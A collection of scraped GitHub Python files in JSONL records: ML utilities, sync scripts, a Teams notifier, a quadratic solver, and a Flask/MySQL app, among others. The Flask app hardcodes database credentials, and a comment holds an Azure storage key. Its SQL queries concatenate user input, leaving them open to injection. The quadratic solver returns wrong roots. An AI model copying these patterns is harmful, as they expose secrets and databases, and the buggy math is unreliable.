numpy array of size (num_px * num_px * 3, 1)\n b -- bias, a scalar\n X -- data of shape (num_px * num_px * 3, number of examples)\n Y -- true \"label\" vector (containing 0 if non-cat, 1 if cat), of shape (1, number of examples)\n num_iterations -- number of iterations of the optimization loop\n learning_rate -- learning rate of the gradient descent update rule\n print_cost -- True to print the loss every 100 steps\n \n Returns:\n params -- dictionary containing the weights w and bias b\n grads -- dictionary containing the gradients of the weights and bias with respect to the cost function\n costs -- list of all the costs computed during the optimization, this will be used to plot the learning curve.\n \"\"\"\n costs = []\n \n for i in range(num_iterations):\n\n # Cost and gradient calculation \n grads, cost = propagate(w, b, X, Y)\n\n # Retrieve derivatives from grads\n dw = grads[\"dw\"]\n db = grads[\"db\"]\n \n # update rule\n w = w - learning_rate*dw\n b = b - learning_rate*db\n \n # Record the costs\n if i % 100 == 0:\n costs.append(cost)\n \n # Print the cost every 100 training iterations\n if print_cost and i % 100 == 0:\n print (\"Cost after iteration %i: %f\" %(i, cost))\n \n params = {\"w\": w,\n \"b\": b}\n \n grads = {\"dw\": dw,\n \"db\": db}\n \n return params, grads, costs\n\ndef predict(w, b, X):\n '''\n Predict whether the label is 0 or 1 using learned logistic regression parameters (w, b)\n \n Arguments:\n w -- weights, a numpy array of size (num_px * num_px * 3, 1)\n b -- bias, a scalar\n X -- data of size (num_px * num_px * 3, number of examples)\n\n '''\n \n m = X.shape[1]\n Y_prediction = np.zeros((1,m))\n w = w.reshape(X.shape[0], 1)\n \n # Compute vector \"A\" predicting the probabilities of a cat being present in the picture\n A = sigmoid(np.dot(w.T, X)+b)\n \n for i in range(A.shape[1]): \n # Convert probabilities A[0,i] to actual predictions p[0,i]\n if A[0, i] > 0.5:\n Y_prediction[0, i] = 1\n else:\n Y_prediction[0, i] = 0\n \n assert(Y_prediction.shape == (1, m))\n \n return Y_prediction","repo_name":"kd610/basic_neural_networks","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4136104599","text":"#!/usr/bin/env python3\n# -*- coding: utf_8 -*-\n\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n\n# sync tracker_data by comparing timestamps, then pull & push data\n# NOTE: there is a relatively slow race condition on multiple runs of this script\n# this script may connect to different passenger processes on multiple runs\n# but the first process may still be committing the transaction when the second\n# run starts, and the second may see old timestamps\n\n# handle arguments\nimport argparse\nparser = argparse.ArgumentParser(description='HTTP JSON server')\n\nparser.add_argument('-r', '--remote-host',\n type=str,\n required=True,\n help='Remote host to connect to',\n)\n\nparser.add_argument('-l', '--local-host',\n type=str,\n default='127.0.0.1',\n help='Local host to connect to (default 127.0.0.1)',\n)\n\nparser.add_argument('-s', '--https',\n type=bool,\n default=False,\n help='Use HTTPS instead of HTTP (default use HTTP)',\n)\n\nparser.add_argument('-b', '--uri-base',\n type=str,\n default='',\n help='Remote URI base for constructing request URLs (default none)',\n)\n\nparser.add_argument('-B', '--local-uri-base',\n type=str,\n default='',\n help='Local URI base for constructing request URLs (default none)',\n)\n\nargs = parser.parse_args()\n\nimport http.client\nimport json\nfrom datetime import datetime\n\nif args.https:\n l_conn = http.client.HTTPSConnection(args.local_host)\nelse:\n l_conn = http.client.HTTPConnection(args.local_host)\n\nif args.https:\n r_conn = http.client.HTTPSConnection(args.remote_host)\nelse:\n r_conn = http.client.HTTPConnection(args.remote_host)\n\nheaders = {\n 'Content-type': 'application/json',\n 'Accept': 'application/json',\n}\n\n# grab timestamps\nl_conn.request('GET', args.local_uri_base + '/gwlatest', None, headers)\nlocal_latest = json.loads(l_conn.getresponse().read().decode())\nl_conn.close()\n\nr_conn.request('GET', args.uri_base + '/gwlatest', None, headers)\nremote_latest = json.loads(r_conn.getresponse().read().decode())\nr_conn.close()\n\npush_list = {}\npull_list = {}\n\nfor gw_id in local_latest.keys():\n # timestamps are in iso8601 format, eg 2019-01-03T22:48:16.080583+00:00\n # python <3.7 doesn't have datetime.fromisoformat() so use strptime\n local_ts = datetime.strptime(local_latest[gw_id], '%Y-%m-%dT%H:%M:%S.%f%z')\n if gw_id in remote_latest:\n remote_ts = datetime.strptime(remote_latest[gw_id], '%Y-%m-%dT%H:%M:%S.%f%z')\n # remove key from remote_latest, because anything left will be added to the pull list\n del remote_latest[gw_id]\n if local_ts < remote_ts:\n print('PULL {} at {}'.format(gw_id, local_ts.isoformat()))\n pull_list[gw_id] = local_ts.isoformat()\n elif local_ts > remote_ts:\n print('PUSH {} at {}'.format(gw_id, remote_ts.isoformat()))\n push_list[gw_id] = remote_ts.isoformat()\n else:\n # if timestamps match then no need to push or pull\n print('MATCH {} at {}'.format(gw_id, local_ts.isoformat()))\n else:\n # remote doesn't have this gw, push all\n print('PUSH {} at min'.format(gw_id))\n push_list[gw_id] = datetime.min.isoformat()\n\nfor gw_id in remote_latest.keys():\n # anything left in remote_latest will be new, pull all\n print('PULL {} at min'.format(gw_id))\n pull_list[gw_id] = datetime.min.isoformat()\n\nif len(push_list) > 0:\n # push_list: pull from local, push to remote\n print('PULL local, PUSH remote')\n l_conn.connect()\n r_conn.connect()\n l_conn.request('POST', args.local_uri_base + '/pull', json.dumps(push_list), headers)\n r_conn.request('POST', args.uri_base + '/push', l_conn.getresponse().read(), headers)\n r_conn.getresponse().read() # do nothing but wait for a 204\n l_conn.close()\n r_conn.close()\n\nif len(pull_list) > 0:\n # pull_list: pull from remote, push to local\n print('PULL remote, PUSH local')\n l_conn.connect()\n r_conn.connect()\n r_conn.request('POST', args.uri_base + '/pull', json.dumps(pull_list), headers)\n l_conn.request('POST', args.local_uri_base + '/push', r_conn.getresponse().read(), headers)\n l_conn.getresponse().read() # do nothing but wait for a 204\n l_conn.close()\n r_conn.close()\n","repo_name":"joelpmichael/loratracker","sub_path":"flask-apiserver/gwsync.py","file_name":"gwsync.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28633248646","text":"import json\nimport logging\nimport os\n\nfrom urllib.request import Request, urlopen\nfrom urllib.error import URLError, HTTPError\n\nWEBHOOK_URL = os.environ['WEBHOOK_URL']\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef lambda_handler(event, context):\n logger.info(\"Event: \" + str(event))\n alarm = json.loads(event['Records'][0]['Sns']['Message'])\n logger.info(\"Message: \" + str(alarm))\n\n alarm_name = alarm['AlarmName']\n old_state = alarm['OldStateValue']\n new_state = alarm['NewStateValue']\n reason = alarm['NewStateReason']\n\n # we don't need such alarms\n if old_state == \"INSUFFICIENT_DATA\" and new_state == \"OK\":\n return\n\n # set the color of our message (general green, in case of alarm red)\n alarm_color = \"64a837\"\n if new_state == \"ALARM\":\n alarm_color = \"d63333\"\n\n message = {\n \"@context\": \"https://schema.org/extensions\",\n \"@type\": \"MessageCard\",\n \"themeColor\": alarm_color,\n \"title\": alarm_name + \": \" + old_state + \" -> \" + new_state,\n \"text\": reason\n }\n\n req = Request(WEBHOOK_URL, json.dumps(message).encode('utf-8'))\n try:\n response = urlopen(req)\n response.read()\n logger.info(\"Message posted\")\n except HTTPError as e:\n logger.error(\"Request failed: %d %s\", e.code, e.reason)\n except URLError as e:\n logger.error(\"Server connection failed: %s\", e.reason)","repo_name":"codecampn/terraform-modules","sub_path":"aws/lambda-ms-teams-notifier/src/ms-teams-notifier.py","file_name":"ms-teams-notifier.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"11807382218","text":"import sys\nimport numpy as np\nfrom collections import defaultdict\n\n\ndef read_pyramid(file_scores):\n dic_pyr_4m, dic_pyr_3m = defaultdict(lambda: []), defaultdict(lambda: [])\n with open(file_scores, 'r') as file:\n for line in file:\n line = line.split()\n docs = line[0].split('.')[1]\n dic_pyr_4m[docs].append(float(line[1]))\n dic_pyr_3m[docs].append(float(line[2]))\n lst_pyr_4m, lst_pyr_3m = [], []\n for key, val in dic_pyr_4m.items():\n lst_pyr_4m.append(np.average(val, axis=0))\n for key, val in dic_pyr_3m.items():\n lst_pyr_3m.append(np.average(val, axis=0))\n return lst_pyr_4m, lst_pyr_3m\n\n\ndef read_ROUGE(file_scores, from_column):\n dic_rouge_R, dic_rouge_P, dic_rouge_F = defaultdict(lambda: []), defaultdict(lambda: []), defaultdict(lambda: [])\n with open(file_scores, 'r') as file:\n for line in file:\n if not line.startswith('#'):\n line = line.split()\n docs = line[0].split('.')[1]\n dic_rouge_R[docs].append(float(line[from_column+0].split(':')[-1]))\n dic_rouge_P[docs].append(float(line[from_column+1].split(':')[-1]))\n dic_rouge_F[docs].append(float(line[from_column+2].split(':')[-1]))\n lst_rouge_R, lst_rouge_P, lst_rouge_F = [], [], []\n for key, val in dic_rouge_P.items():\n lst_rouge_P.append(np.average(val, axis=0))\n for key, val in dic_rouge_R.items():\n lst_rouge_R.append(np.average(val, axis=0))\n for key, val in dic_rouge_F.items():\n lst_rouge_F.append(np.average(val, axis=0))\n return lst_rouge_R, lst_rouge_P, lst_rouge_F\n\n\ndef read_ROUGE_1(file_scores):\n return read_ROUGE(file_scores, 3)\n\n\ndef read_ROUGE_2(file_scores):\n return read_ROUGE(file_scores, 6)\n\n\ndef read_ROUGE_3(file_scores):\n return read_ROUGE(file_scores, 9)\n\n\ndef read_ROUGE_4(file_scores):\n return read_ROUGE(file_scores, 12)\n\n\ndef read_ROUGE_L(file_scores):\n return read_ROUGE(file_scores, 15)\n\n\ndef read_ROUGE_W(file_scores):\n return read_ROUGE(file_scores, 18)\n\n\ndef read_ROUGE_SU4(file_scores):\n return read_ROUGE(file_scores, 21)\n\n\ndef read_sera_results(sera_file):\n lst_results = []\n with open(sera_file, 'r') as file:\n for line in file:\n line = line.rstrip('\\r\\n').split()[-1]\n lst_results.append(float(line))\n return lst_results\n\n\ndef read_SERA_(file_scores, which_column):\n dic_sera = defaultdict(lambda: [])\n with open(file_scores, 'r') as file:\n for line in file:\n line = line.rstrip('\\r\\n').split()\n docs = line[0].split('.')[1]\n dic_sera[docs].append(float(line[which_column]))\n lst_values_sera = []\n for key, val in dic_sera.items():\n lst_values_sera.append(np.average(val, axis=0))\n return lst_values_sera\n\n\ndef read_SERA(file_scores, which_column):\n dic_sera = defaultdict(lambda: [])\n with open(file_scores, 'r') as file:\n for line in file:\n line = line.rstrip('\\r\\n').split()\n docs = line[0].split('.')[-1]\n dic_sera[docs].append(float(line[which_column]))\n lst_values_sera = []\n for key, val in dic_sera.items():\n lst_values_sera.append(np.average(val, axis=0))\n return lst_values_sera\n\n\ndef SERA_M1_M2_M3_M4(file_scores):\n return read_SERA(file_scores, 5)\n\n\ndef responsiveness(file_path):\n dic_resp = defaultdict(lambda: [])\n with open(file_path, 'r') as file:\n for line in file:\n line = line.rstrip('\\r\\n').split()\n docs = line[1]#.split('.')[1]\n # in line 8 we find the overall responsiveness judgment for the peer summary\n dic_resp[docs].append(float(line[8]) / 5)\n lst_values_responsiveness = []\n for key, val in dic_resp.items():\n lst_values_responsiveness.append(np.average(val, axis=0))\n return lst_values_responsiveness\n\n\ndef order_name_files(score_pyramid_file, sera_file, path_save_file):\n lst_name_sera, lst_score_sera = [], []\n with open(sera_file, 'r') as file_sera:\n for line in file_sera:\n line = line.rstrip('\\r\\n')\n\n name_score = line.split()\n score = name_score[-1]\n ID_name = name_score[0].split('.')[0]\n ID_number = name_score[0].split('.')[-1]\n final_name = ID_name + '.' + ID_number\n final_line = final_name + '\\t' + score\n lst_name_sera.append(final_name)\n lst_score_sera.append(score)\n\n lst_orden_name_sera, lst_orden_score_sera = [], []\n with open (score_pyramid_file, 'r') as file_pyramid:\n for line in file_pyramid:\n line = line.rstrip('\\r\\n')\n ID_file = line.split()[0] # we get only the ID file\n\n if ID_file in lst_name_sera:\n index = lst_name_sera.index(ID_file)\n lst_orden_name_sera.append(ID_file)\n score_orden = lst_score_sera[index]\n lst_orden_score_sera.append(score_orden)\n\n for ID_sera, score_sera in zip( lst_orden_name_sera, lst_orden_score_sera):\n with open(path_save_file , 'a') as file:\n #line = ID_sera + '\\t' + score_sera\n file.write(str(ID_sera) + '\\t' + str(score_sera))\n file.write('\\n')\n #print(ID_sera, score_sera)\n #print(line)\n\n\n\n","repo_name":"JessicaLopezEspejel/GeSERA","sub_path":"correlation/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19101752999","text":"import cv2\nimport numpy as np\nimport mediapipe as mp\nimport time\nmp_drawing = mp.solutions.drawing_utils\nmp_drawing_styles = mp.solutions.drawing_styles\nmp_hands = mp.solutions.hands\nnofsmples=11\nnofframes=64\nclasses=['0_pinch_index','10_palm_hold','1_palm_tilt','2_finger_slider','3_pinch_pinky','4_slow_swipe','5_fast_swipe','6_push','7_pull','8_finger_rub','9_circle']\nclassidx=10\nfiles=[]\nfor idx2 in range(0,nofsmples):\n resultarr=[]\n cap = cv2.VideoCapture(0)\n # For webcam input:\n for fr in range(0,nofframes):\n with mp_hands.Hands(\n model_complexity=0,\n max_num_hands=1,\n min_detection_confidence=0.5,\n min_tracking_confidence=0.5) as hands:\n success, image = cap.read()\n if not success:\n print(\"Ignoring empty camera frame.\")\n # If loading a video, use 'break' instead of 'continue'.\n continue\n # To improve performance, optionally mark the image as not writeable to\n # pass by reference.\n image.flags.writeable = False\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n results = hands.process(image)\n # Draw the hand annotations on the image.\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n image_height, image_width, _ = image.shape\n if results.multi_hand_landmarks:\n for hand_landmarks in results.multi_hand_landmarks:\n mp_drawing.draw_landmarks(\n image,\n hand_landmarks,\n mp_hands.HAND_CONNECTIONS,\n mp_drawing_styles.get_default_hand_landmarks_style(),\n mp_drawing_styles.get_default_hand_connections_style())\n # print(\n # f'Wrist coordinates: (',\n # f'{hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].x * image_width}, '\n # f'{hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].y * image_height})'\n # )\n resultarr.append(str(hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].x * image_width))\n resultarr.append(str(hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].y * image_height))\n resultarr.append(str(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_TIP].z*10000))\n else:\n resultarr.append(0.0)\n resultarr.append(0.0)\n resultarr.append(0.0)\n # Flip the image horizontally for a selfie-view display.\n #cv2.imshow('MediaPipe Hands', cv2.flip(image, 1))\n #cv2.waitKey(1000)\n #time.sleep(1)\n print(idx2,fr)\n print(len(resultarr))\n resultarr.append(str(classidx))\n cap.release()\n files.append(resultarr)\n\n#print(resultarr)\n#print(len(resultarr))\nimport csv\nnames=[]\nfor i in range(0,nofframes):\n names.append('frame_'+str(i)+\"_x\")\n names.append('frame_'+str(i)+\"_y\")\n names.append('frame_'+str(i)+\"_z\")\nnames.append('class')\n#print(files)\nwith open('datasettomp/train/'+classes[classidx]+'/dataset.csv', 'w') as f: \n write = csv.writer(f) \n write.writerow(names)\n for i in range(0,nofsmples): \n write.writerow(files[i])","repo_name":"hishamelreedy/innovatefpga-GestureRecognitionAccelerator","sub_path":"pyopencl/testmp.py","file_name":"testmp.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"16677425291","text":"# -*- coding: utf-8 -*-\n'''\n>>> 请定义一个函数 quadratic(a, b, c)，接收3个参数，返回一元二次方程 ax^2+bx+c=0 的两个解\n\nNOTE:\n求解需要确定判别式 delta (b^2 - 4ac) 的大小:\n 当 delta>0 时，方程有两个不相等的实数根；\n 当 delta=0 时，方程有两个相等的实数根；\n 当 delta<0 时，方程无实数根，但有2个共轭复根。 [i = (-1)^2]\n'''\n\nimport math\n\n\ndef quadratic(a, b, c):\n delta = (b**2 - 4 * a * c)\n if a == 0:\n x = -c / b\n return '方程有唯一实根：%g' % x\n\n else:\n if delta == 0:\n x = -b / (2 * a)\n return '方程有唯一实根：%g' % x\n\n elif delta > 0:\n x1 = (-b + math.sqrt(delta)) / (2 * a)\n x2 = (-b + math.sqrt(delta)) / (2 * a)\n return '方程有 2 个实根：%g, %g' % (x1, x2)\n\n elif delta < 0:\n child1 = -b / (2 * a)\n child2 = math.sqrt(-delta) / (2 * a)\n x1 = ('%g + %gi' % (child1, child2))\n x2 = ('%g + %gi' % (child1, child2))\n return '方程有 2 个共轭复根：%s, %s' % (x1, x2)\n\n\nprint('二次方程格式：ax^2 + bx + c = 0')\na = float(input('请输入 a : '))\nb = float(input('请输入 b : '))\nc = float(input('请输入 c : '))\n\nresult = quadratic(a, b, c)\nprint(result)\n\n","repo_name":"YongSangUn/learn-career","sub_path":"programming_langs/python/liaoxuefeng-py3/python_work/practice_quadratic.py","file_name":"practice_quadratic.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"17972275703","text":"# 평균값 구하기\n# T번 만큼 리스트에 입력 받기\nT = int(input())\nnumsStr = []\nfor i in range(T):\n numsStr.append((input().strip(' ')).split(' '))\nfor i in range(len(numsStr)):\n hap = 0\n for numStr in numsStr[i]:\n hap += int(numStr)\n avgF = hap / len(numsStr[i])\n print(f'#{i + 1} {round(avgF)}')\n# 입력 받은 값 리스트에 담아서 int로 만들기\n# int로 만든 수 더해서 10으로 나누기\n# 반올림하기\n\n","repo_name":"yeonju501/swea","sub_path":"D1/2071.py","file_name":"2071.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1436522821","text":"from tkinter import *\r\n\r\nfrom tkinter import filedialog\r\n\r\n# ('Text Files' '.*txt') ('CSV files', '*.csv')\r\n\r\n# only need to add the function to main project, do not need to add the other stuff\r\ndef browseFiles():\r\n # Add this to main project\r\n filename = filedialog.askopenfilename(initialdir=\"/\", title='Choose a file', filetypes=[('Text Files', '.*txt')])\r\n label_file_explorer.configure(text=\"File Opened: \" +filename)\r\n # Also add this to main project\r\n file = open(filename, \"r\")\r\n # Also add this\r\n if file:\r\n data = file.read()\r\n file.close()\r\n # Don't need to add this\r\n label_file_explorer.configure(text=\"File Text: \" + data)\r\n\r\nwindow = Tk()\r\n\r\nwindow.title('File Explorer')\r\n\r\n\r\nwindow.config(background = \"white\")\r\n\r\nlabel_file_explorer = Label(window, text = \"File Explorer using Tkinter\",\r\n width= 100, height = 4,\r\n fg = \"blue\")\r\n\r\nbutton_explore = Button(window,\r\n text = \"Browse Files\",\r\n command = browseFiles)\r\n\r\nbutton_exit = Button(window,\r\n text = \"Exit\",\r\n command = exit)\r\n\r\nlabel_file_explorer.grid(column = 1, row = 1)\r\n\r\nbutton_explore.grid(column = 1, row = 2)\r\n\r\nbutton_exit.grid(column = 1,row = 3)\r\n\r\n# Let the window wait for any events\r\nwindow.mainloop()","repo_name":"ct2sjk/CSE-350-Final-Project","sub_path":"BrowseFiles.py","file_name":"BrowseFiles.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"5568833743","text":"from flask import Flask\nfrom flask import Flask,render_template,request\nimport os\nfrom os import listdir\n\nimport os,os.path\nfrom os.path import isfile, join\nimport csv\nimport time\nimport random\nimport sys\nfrom flask import Flask\n#from azure.storage.blob import BlockBlobService\n#from azure.storage.blob import ContentSettings\nfrom flask import render_template\nfrom flask import request\nimport mysql.connector\n#from mysql.connector import errorcode\n#import pyodbc\nimport pymysql\nimport base64\nimport datetime\nimport time\n#import uuid\n#from azure.storage.blob import PublicAccess\n#import pymysql\nfrom flask import Flask, render_template, session, request, flash, redirect, url_for\n\n# Obtain connection string information from the portal\n#config = {\n# server ='aishdb.database.windows.net'\n# username ='aish'\n# password ='Qwerty123'\n# database ='AishDb'\n#driver= '{ODBC Driver 13 for SQL Server}'\n#cnxn = pyodbc.connect('DRIVER='+driver+';PORT=1433;SERVER='+server+';PORT=1443;DATABASE='+database+';UID='+username+';PWD='+ password)\n#}\ndb = mysql.connector.connect(user=\"aishdblogin@aishdbserver\", password=\"Qwerty123\", host=\"aishdbserver.mysql.database.azure.com\", port=3306, database=\"apsdb\")\ncursor = db.cursor()\ncursor1 = db.cursor()\ncursor2 = db.cursor()\nprint (db)\nprint (\"connection successful\")\n# #block_blob_service = BlockBlobService(account_name='aishlogs',\n# account_key='VnKALk8wpTyN+cgBLwdH6b6mZ/XDYbvCeg5UlBfrdSV37JsaoE+tgo+YQcI1myxdkqB2+wL1h76/BWBVxVsjpA==')\n# # print(block_blob_service)\n# # block_blob_service.set_container_acl('aishimgcontainer', public_access=PublicAccess.Container)\n# # print ('Blob connected')\n\napp = Flask(__name__)\\\n\n@app.route('/')\n#for login\n@app.route('/', methods=['POST', 'GET'])\n@app.route('/login.html')\n@app.route('/login', methods=['POST', 'GET'])\ndef login():\n if request.method == 'POST':\n uname = request.form['Username']\n # checking username from database\n sql = \"select first_name, last_name from user where user_name = '\" + uname + \"'\"\n #print (sql)\n cursor.execute(sql)\n #print(cursor.rowcount)\n results = cursor.fetchall()\n #if username exists in database then go to upload page\n if cursor.rowcount > 0:\n\n #print(results)\n for row in results:\n\n return render_template('uploadFiles.html', username=uname, fname=row[0])\n return render_template('login.html')\n else:\n return render_template('login.html')\n\n\n\n#for registration\n@app.route('/register', methods=['POST', 'GET'])\ndef register():\n # pip freeze > requirements.txt on local to automatically insert packages into requirements.txt\n\n\n #Input fields\n uname = request.form['Username']\n fname = request.form['Firstname']\n lname = request.form['Lastname']\n #print(uname)\n #print(lname)\n #sql = \"select user_name from user where user_name='\" + uname + \"'\"\n #print(sql)\n #cursor.execute(sql)\n #res=cursor.fetchall();\n #print(res)\n if uname == '' or fname == '' or lname == '':\n flash('Fields cannot be empty')\n return render_template('register.html')\n\n sql = \"insert into user values ('\" + uname + \"','\" + fname + \"','\" + lname + \"')\"\n #print(sql)\n cursor.execute(sql)\n #res = cursor.fetchall()\n #print(res)\n db.commit()\n #db.close()\n return '

    Successful User Registration


    '\n\n@app.route('/registerPage', methods=['POST', 'GET'])\ndef registerPage():\n return render_template('register.html')\n\n# logout\n@app.route('/logout', methods=['POST', 'GET'])\ndef logout():\n flash('You have been successfully logged out')\n return redirect(url_for('login'))\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n requestfile = request.files['file']\n file_name = requestfile.filename\n data = requestfile.read()\n #Connect_S3.Bucket('saipriya').put_object(Key=file_name, Body=data)\n return \"File uploaded succesfully!\"\n\n@app.route('/csvupload', methods=['POST'])\ndef csvupload():\n #file_name = request.form['csvfile']\n #splitfile = file_name.split('.')[0]\n # for object in Connect_S3.Bucket('saipriya').objects.all():\n #print(object.key)\n # if 'boat.csv' == object.key:\n # body = object.get()['Body'].read()\n # mystr = []\n # str = body.split('\\n')[0]\n # print(str)\n # mystr = str.split(',')\n # cursor = myConnection.cursor()\n # droptable=\"DROP TABLE IF EXISTS %s\"%splitfile\n # print( droptable)\n # cursor.execute(droptable)\n # print (\"Table dropped successfully\")\n # print(mystr[0], len(mystr))\n # executequery1=\"create table quakes (time text,latitude double,longitude double,depth double,mag double,magType text,nst text,gap text,dmin text,rms double,net text,id text,updated text,place text,type text,horizontalError double,depthError double,magError text,magNst text,status text,locationSource text,magSource text)\"\n # cursor.execute(executequery1)\n executequery2 = 'load data local infile \\'C:/Users/aishw/Downloads/Cloud computing/Assignment3/data/Education.csv \\' into table Education fields terminated by \\',\\' optionally enclosed by \\'\"\\' lines terminated by \\'\\n\\' ignore 1 lines;'\n\n executequery3 = 'load data local infile \\'C:/Users/aishw/Downloads/Cloud computing/Assignment3/data/quakes.csv \\' into table quakes fields terminated by \\',\\' optionally enclosed by \\'\"\\' lines terminated by \\'\\n\\' ignore 1 lines;'\n\n executequery4 = 'load data local infile \\'C:/Users/aishw/Downloads/Cloud computing/Assignment3/data/USZipcodes.csv \\' into table USZipcodes fields terminated by \\',\\' optionally enclosed by \\'\"\\' lines terminated by \\'\\n\\' ignore 1 lines;'\n\n executequery5 = 'load data local infile \\'C:/Users/aishw/Downloads/Cloud computing/Assignment3/data/Starbucks.csv \\' into table Starbucks fields terminated by \\',\\' optionally enclosed by \\'\"\\' lines terminated by \\'\\n\\' ignore 1 lines;'\n\n cursor.execute(executequery2)\n #cursor.execute(executequery3)\n cursor.execute(executequery4)\n #cursor.execute(executequery5)\n\n #count=\"select count(*) from quakes\"\n #sql = \"select count(*) from Education\"\n #sql = \"select count(*) from Starbucks\"\n sql = \"select count(*) from USZipcodes\"\n cursor.execute(sql)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for res in result:\n c = c + 1\n print (str(c) + ':' + str(res))\n str1 += str(c) + ':' + str(res) + '

    '\n\n db.commit()\n result=result #str(res)\n return render_template('uploadFiles.html', rdscount=result)\n\n@app.route('/sqlexecute', methods=['POST'])\ndef sqlexecute():\n limit = request.form['limit']\n starttime = time.time()\n print(starttime)\n cursor.execute(query + limit)\n endtime = time.time()\n print('endtime')\n totalsqltime = endtime - starttime\n print(totalsqltime)\n return render_template('uploadFiles.html', rdstime1=totalsqltime)\n\n@app.route('/cleanexecute',methods=['POST'])\ndef cleanexecute():\n save=\"savepoint s1\"\n cursor.execute(save)\n print (\"save point created\")\n safeupdate=\"SET SQL_SAFE_UPDATES = 0\"\n cursor.execute(safeupdate)\n cleanquery=\"update quakes set depth=3.6 where mag=2.8\"\n cursor.execute(cleanquery)\n print (\"executed query\")\n s=\"select * from quakes where depth=3.6\"\n cursor.execute(s)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for row in result:\n c = c + 1\n print (str(c) + ':' + str(row))\n str1 += str(c) + ':' + str(row) + '

    '\n db.commit()\n return 'Executed'\n\n@app.route('/query1', methods=['POST'])\ndef query1():\n q1=\"select * from quakes where mag between (select min(mag) from quakes) and (select max(mag) from quakes) having place like '%Alaska'\";\n cursor.execute(q1)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for row in result:\n c = c + 1\n print (str(c) + ':' + str(row))\n str1 += str(c) + ':' + str(row) + '

    '\n return str(str1)\n\n@app.route('/query2', methods=['POST'])\ndef query2():\n r1=request.form['val1']\n r2=request.form['val2']\n q2=\"select * from quakes where place like '%\"+r1+\"' or place like '%\"+r2+\"'\"\n cursor.execute(q2)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for res in result:\n c = c + 1\n print (str(c) + ':' + str(res))\n str1 += str(c) + ':' + str(res) + '

    '\n return str(str1)\n\n@app.route('/query3', methods=['POST'])\ndef query3():\n r1 = request.form['val1']\n print( r1)\n r2 = request.form['val2']\n q2=\"select * from quakes where DAY(time) between day('%s') and day('%s')\"%(r1,r2)\n cursor.execute(q2)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for res in result:\n c = c + 1\n print (str(c) + ':' + str(res))\n str1 += str(c) + ':' + str(res) + '

    '\n return str1\n\n@app.route('/query4', methods=['POST'])\ndef query4():\n r1 = request.form['val1']\n print( r1)\n r2 = request.form['val2']\n r3 = request.form['val3']\n # q2 = \"select * from quakes where mag between %s and %s\"%(r1,r2)\n q2 = \"select * from quakes where DAY(time) between day('%s') and day('%s')\" % (r1, r2)\n cursor.execute(q2)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for res in result:\n c = c + 1\n print (str(c) + ':' + str(res))\n str1 += str(c) + ':' + str(res) + '

    '\n return str1\n\n# @app.route('/memexecute', methods=['POST'])\n# def memexecute():\n# limit = request.form['limit']\n# cursor.execute(query + limit)\n# result = cursor.fetchall()\n# memcache.set(hash, result)\n# c = 0\n# for res in result:\n# c = c + 1\n# print(str(c) + ':' + str(res))\n# starttime = time.time()\n# memresult = memcache.get(hash)\n# endtime = time.time()\n# total = endtime - starttime\n# print('Time taken by memcache ', total)\n# return render_template('uploadFiles.html', rdstime2=total)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(port=5004)\n\n\n","repo_name":"aishwaryasalian/CloudAssigment3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1197314657","text":"import logging\nimport os\nimport requests\nimport telegram\nimport time\nfrom http import HTTPStatus\nfrom dotenv import load_dotenv\nfrom exceptions import MessageSendError, CheckTokenError\n\n\nload_dotenv()\n\nPRACTICUM_TOKEN = os.getenv('YA_PRACTICUM_TOKEN')\nTELEGRAM_TOKEN = os.getenv('MY_TELEGRAM_TOKEN')\nTELEGRAM_CHAT_ID = os.getenv('MY_TELEGRAM_CHAT_ID')\n\nRETRY_PERIOD = 600\nENDPOINT = 'https://practicum.yandex.ru/api/user_api/homework_statuses/'\nHEADERS = {'Authorization': f'OAuth {PRACTICUM_TOKEN}'}\n\n\nHOMEWORK_VERDICTS = {\n 'approved': 'Работа проверена: ревьюеру всё понравилось. Ура!',\n 'reviewing': 'Работа взята на проверку ревьюером.',\n 'rejected': 'Работа проверена: у ревьюера есть замечания.'\n}\n\n\nlogging.basicConfig(\n format='%(asctime)s - %(name)s - %(message)s', level=logging.INFO)\nhandler = logging.StreamHandler()\n\n\ndef check_tokens() -> bool:\n \"\"\"Проверяет 